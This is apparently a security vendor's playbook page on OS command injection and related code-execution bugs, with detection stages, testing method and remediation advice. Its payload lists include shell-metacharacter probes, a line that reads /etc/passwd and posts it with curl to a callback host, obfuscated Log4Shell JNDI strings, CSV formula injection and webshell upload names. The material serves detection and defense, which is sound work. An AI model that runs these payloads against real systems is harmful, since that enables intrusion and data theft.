scanrub
Command Injection - Generichigh prioritypartial coverage

OS Command Injection (and adjacent code-execution chains)

6 min read 137 reports analyzed ScanRub Research
Share
Live Playground · Powered by this research
Command Injection Character Check

Paste input to see which shell metacharacters it contains.

; - command chainPRESENT
& - background/chainNot present
| - pipeNot present
` - command substitutionNot present
$ - variable expansionNot present
( - subshellNot present
) - subshellNot present
< - redirectNot present
> - redirectNot present
\ - escapeNot present
\n - newlineNot present
1 shell metacharacter(s) found. Never pass this to system() / exec() / shell.
Payloads from this research (9 total)
;sleep 10
;curl http://<token>.<oast>/
;nslookup <token>.<oast>
$(curl http://<token>.<oast>/)
These payloads were synthesized from real HackerOne disclosures. Click any payload to copy it, then paste it into the tester above to see how our detection classifies it.

Summary

This H1 bucket is wider than its name - alongside classic OS command injection (shell metacharacters in user input passed to popen/spawn/system/exec) it contains:

  • authenticated admin command injection via SMTP host / collectd / actions-console / nomad templates,
  • file-upload-to-RCE with null-byte / double-extension / .phtml bypasses,
  • terminal escape-sequence injection in logs/CLI output, and

Top Affected Components / Targets

  • Endpoints invoking shell/system tools server-side (DNS lookup, ping, traceroute, file conversion, video processing)
  • Profile/avatar/document upload (image/PDF/video) routed through ImageMagick / ExifTool / FFmpeg / ghostscript
  • Generic Java services parsing user data into log lines (Log4Shell candidates)
  • Admin panels that compose CLI commands (SMTP host, syslog-ng, collectd, nomad)
  • Git/Mercurial integrations cloning user-controlled URLs and triggering hooks
  • VCS import features (GitLab Github/FogBugz, Phabricator hg subrepo)
  • OAuth / SSO callback parameters (often leak as argv to redirect)
  • Build/package import features (RubyGems, NPM, PyPI, Bundler) susceptible to dependency confusion
  • Report/data export endpoints producing CSV/XLSX
  • Webshell-friendly upload directories without execution-disabled config

Common Attack Vectors

  • Inject ;cmd | cmd &&cmd $(cmd) $(IFS) variants into URL/POST/JSON params and observe OOB callback
  • Time-based blind: ; sleep 10 and detect response delay against baseline
  • OOB DNS via curl/wget: ;curl http://<token>.<oast>/``
  • Upload .phtml / .asp / .aspx / .jsp via null-byte (file.php%00.png) or double-extension (file.php.png)
  • Upload polyglot image triggering ImageMagick coder (mvg, https://, ephemeral:) - Imagetragick
  • Submit ${jndi:ldap://<oast>/x} into any header/param/body - Log4Shell (CVE-2021-44228)
  • Submit OGNL/SpEL/EL payload into form fields hitting Java backends
  • PHP unserialize gadget chain via cookie or POST body
  • Deepest path probe: register typosquat-named package on public registry mirror to detect dependency-confusion fetch
  • Embed =cmd|' /C calc'!A0 into any field that ends up in a CSV export

Common Payloads

  • ;id &&id |id id $(id) ${IFS}id
  • ;sleep 10
  • ;curl http://<token>.<oast>/
  • ;nslookup <token>.<oast>
  • $(curl http://<token>.<oast>/)
  • ${IFS}cat${IFS}/etc/passwd${IFS}|${IFS}curl${IFS}http://<oast>/${IFS}-d${IFS}@-
  • ${jndi:ldap://<oast>/exploit}
  • ${jndi:dns://<oast>/}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<oast>/}
  • shell.php%00.png

Detection Strategy

Multi-stage probe over discovered URLs and form fields, prioritizing parameters whose names suggest shell-adjacent semantics (cmd, command, host, ip, url, path, file, target, dest, name, branch, tag, version, page, lang, format, type, encoding) plus JSON bodies of import / convert / process endpoints.

Stage 1: in-band fingerprint

Inject a unique long alphanumeric token wrapped in shell-trigger syntax (;echo <token>$;), look for the same token reflected in body - this produces few false positives because the token is unique per probe.

Stage 2: OOB DNS

Inject ;nslookup <unique>.<oast>; and watch DNS log; works against blind injection.

Stage 3: time-based

Inject ;sleep <delay>; (via $(){}|;) and compare response time against per-target baseline noise floor (require >= 1.5x stddev, repeat 3 times).

Stage 4: Log4Shell

Inject ${jndi:ldap://<token>.<oast>/x} into all known logging vectors (User-Agent, X-Forwarded-For, Referer, every body field, every URL param).

Stage 5: file-upload variants

For any upload endpoint, attempt double-extension and null-byte payloads with embedded code, then probe whether the uploaded path is web-accessible and executes.

Stage 6: image processors

When the target accepts image uploads, submit Imagetragick mvg/svg/https probes that include OOB callback.

Stage 7: CSV formula

On any export endpoint, plant =HYPERLINK("http://<oast>/<token>") in a writable user field, trigger export, and watch OOB.

Stage 8: argument injection

For parameters that look like filenames/branch/version, retry with leading - and shell-feature flags.

Stage 9: dependency confusion, advisory only

Publish a package with the company-internal name to the public registry and watch for installs (this is intrusive - emit only a 'risk surface' finding documenting that an internal package name is unregistered on public registries).

Confidence: token-reflection or OOB hit = high; time-based alone = medium with corroboration; pure version-fingerprint CVE match = whatever Nuclei rates.

Tip: Testing tools that run these checks in parallel across every discovered endpoint can cut the time required substantially compared to fully manual testing, as long as they confirm findings with more than one signal to keep the false-positive rate down.

False-Positive Notes

  • Generic command-injection probes are noisy - many web frameworks reject any payload with a semicolon, producing false-positive 'reflection' if the rejection page echoes the input.
  • Always require either OOB callback or a time delta that survives 3 retries against a per-target baseline.
  • Image processors often legitimately fetch external resources for previews, so the OOB callback alone is not enough - require the callback to occur during the upload's processing window (correlate timestamps).
  • Log4Shell probing is high-value but extremely noisy; cap injection rate per endpoint and only spray into headers known to be logged.
  • CSV formula injection requires victim-side spreadsheet execution, so emit as medium severity and explain user-action requirement.
  • Authenticated-only command injections (admin SMTP host, collectd) should be tested only when an authenticated profile is provided.

How to Test

Manual Testing Methodology

Here is a systematic approach to identifying OS Command Injection (and adjacent code-execution chains) vulnerabilities in a target application.

Step 1: Reconnaissance and Surface Mapping

Before testing, map all input vectors that could be affected. Identify parameters, headers, cookies, and request bodies that interact with the vulnerable component. A proxy such as Burp Suite or OWASP ZAP, paired with normal browsing of the target, is usually enough to build this list.

Step 2: Baseline Request

Send a legitimate request and record the normal response: status code, content length, response time, and any identifying tokens. This baseline matters because it's what you'll compare later responses against once payloads are involved.

Step 3: Payload Injection

Inject test payloads into each identified input vector one at a time. Start with benign detection payloads before escalating to anything that could actually trigger the vulnerability. For OS Command Injection (and adjacent code-execution chains) specifically, test shell metacharacters (; id, | whoami, ` id , $(id)) and, separately, template/expression-language injection syntax (${...}, #{...}, {{...}}`) against every parameter, starting with output-based confirmation (a command whose output should appear in the response) before moving to blind/time-based confirmation.

Step 4: Response Analysis

Compare the response against your baseline, looking specifically for command output (a user ID, hostname, or file listing) appearing in the response, or a measurable delay from an injected sleep/ping -c N payload that reproduces on an independent second request.

Step 5: Confirmation

Once a potential vulnerability is detected, confirm it with at least a few independent test cases to rule out coincidence. Document the exact request and response as proof. For OS Command Injection (and adjacent code-execution chains), a confirmed finding typically means showing that attacker-controlled input changes the application's behavior in a way that matters for security, not just that a payload was reflected somewhere harmless.

Real-World Impact

Real-World Impact

Command and code injection let an attacker's input reach a shell or a code interpreter directly, which means the impact is close to total: arbitrary operating-system commands or arbitrary code run with whatever privileges the vulnerable process has. This is consistently one of the highest-severity bug classes in disclosed reports for exactly that reason.

Exploitation paths include chaining benign-looking parameters into shell metacharacters (;, |, \) that the OS interprets as command separators, and passing attacker-controlled strings into dynamic-evaluation functions (eval`, template engines, deserialization-adjacent code paths) that the application never intended to expose to untrusted input.

Because the resulting access is typically at the level of the host process, this class routinely leads to full server compromise, lateral movement into internal networks, and persistent backdoors — the same severity tier as insecure deserialization, and for the same underlying reason: attacker input reaching a code-execution primitive.

Prevention & Remediation

Prevention and Secure Coding

Preventing OS Command Injection (and adjacent code-execution chains) takes a defense-in-depth approach — no single control below is sufficient alone, but together they close off both the primary path and the most common bypasses.

Avoid shelling out to user input entirely. Where a language-level API exists to accomplish the same task (file operations, archive extraction, image processing) without invoking a shell, use it instead of building a command string.

Use array-form process APIs. When invoking an external process is unavoidable, pass arguments as an array (execFile, subprocess.run([...])) rather than a single interpolated string — array form bypasses shell interpretation of metacharacters entirely.

Never pass user input to `eval`-like functions. Treat eval, template-engine "render this string as a template" functions, and dynamic require/import of a user-influenced path as forbidden with untrusted input, full stop — there is rarely a safe way to sanitize your way out of this one.

Strict allowlist validation. Where a command must incorporate user input (a filename, a format flag), validate it against a strict allowlist of known-safe values rather than trying to blocklist dangerous characters.

Least-privilege execution and sandboxing. Run the process under a minimally-privileged OS account, and consider a container or sandbox boundary as defense-in-depth for any component that must execute external commands.

Source reports

A sample of the disclosed HackerOne reports this playbook was synthesized from.

Frequently Asked Questions

What is OS Command Injection (and adjacent code-execution chains)?
This H1 bucket is wider than its name - alongside classic OS command injection (shell metacharacters in user input passed to popen/spawn/system/exec) it contains: (1) language-level eval/dynamic-dispatch sinks (PHP `$action()` from POST, Ruby OptionParser.load reading `|cmd`, Net::FTP filenames triggering Kernel.open), (2) deserialization to RCE (PHP object injection, Java/Spring), (3) prototype-pollution-to-RCE (Rocket.Chat, Jitsi), (4) supply-chain RCE (RubyGems/NPM/Bundler dependency confusion), (5) CVE-marker bugs already covered by Nuclei (CVE-2018-7600 Drupal, CVE-2021-44228 Log4Shell, CVE-2021-26855 Exchange ProxyLogon, CVE-2022-24288 Airflow, GitHub Enterprise CVE-2024-1354/1355/1359/1369/1374/1378), (6) authenticated admin command injection via SMTP host / collectd / actions-console / nomad templates, (7) image/document processor RCE (ImageMagick, ExifTool, ghostscript, FFmpeg), (8) file-upload-to-RCE with null-byte / double-extension / .phtml bypasses, (9) terminal escape-sequence injection in logs/CLI output, and (10) CSV/formula injection (15+ reports).
How common is OS Command Injection (and adjacent code-execution chains) in bug bounty reports?
Scanrub's research corpus for this playbook is built from 137 disclosed HackerOne reports in this category, synthesized for detection and prevention guidance rather than reproduced verbatim.
How do I test for OS Command Injection (and adjacent code-execution chains)?
Map every input vector, record a baseline response, then inject targeted test payloads one field at a time and compare the response for timing, length, error, or reflection differences from that baseline. The "How to Test" section above walks through the full methodology for this specific vulnerability class.
What is the single most effective fix for OS Command Injection (and adjacent code-execution chains)?
Avoid shelling out to user input entirely; where an external process must be invoked, pass arguments in array form rather than an interpolated string so shell metacharacters can't be interpreted.
Weekly security research

New vulnerability playbooks, tool updates, and bug bounty insights - delivered to your inbox. No spam.

Unsubscribe anytime. We respect your inbox.
Press ⌘K to search×